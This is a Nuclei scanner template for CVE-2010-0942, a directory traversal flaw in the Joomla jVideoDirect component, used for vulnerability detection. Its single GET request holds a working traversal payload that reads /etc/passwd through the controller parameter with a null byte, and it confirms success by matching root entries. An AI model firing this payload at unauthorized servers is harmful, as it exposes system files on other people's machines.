id: CVE-2010-0942

info:
  name: Joomla! Component com_jvideodirect - Directory Traversal
  author: daffainfo
  severity: medium
  description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11089
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0942
    - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55513
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0942
    cwe-id: CWE-22
    epss-score: 0.02887
    epss-percentile: 0.86508
    cpe: cpe:2.3:a:jvideodirect:com_jvideodirect:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jvideodirect
    product: com_jvideodirect
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,jvideodirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022064b3456881d6aa46bc15c7f0d813c2c3e74a5cabd19bc79a11c6d525569a80a402210084e19ca26e6769a547168ee39eb944f62460548aa3759390c1171118a3715817:922c64590222798bb761d5b6d8e72950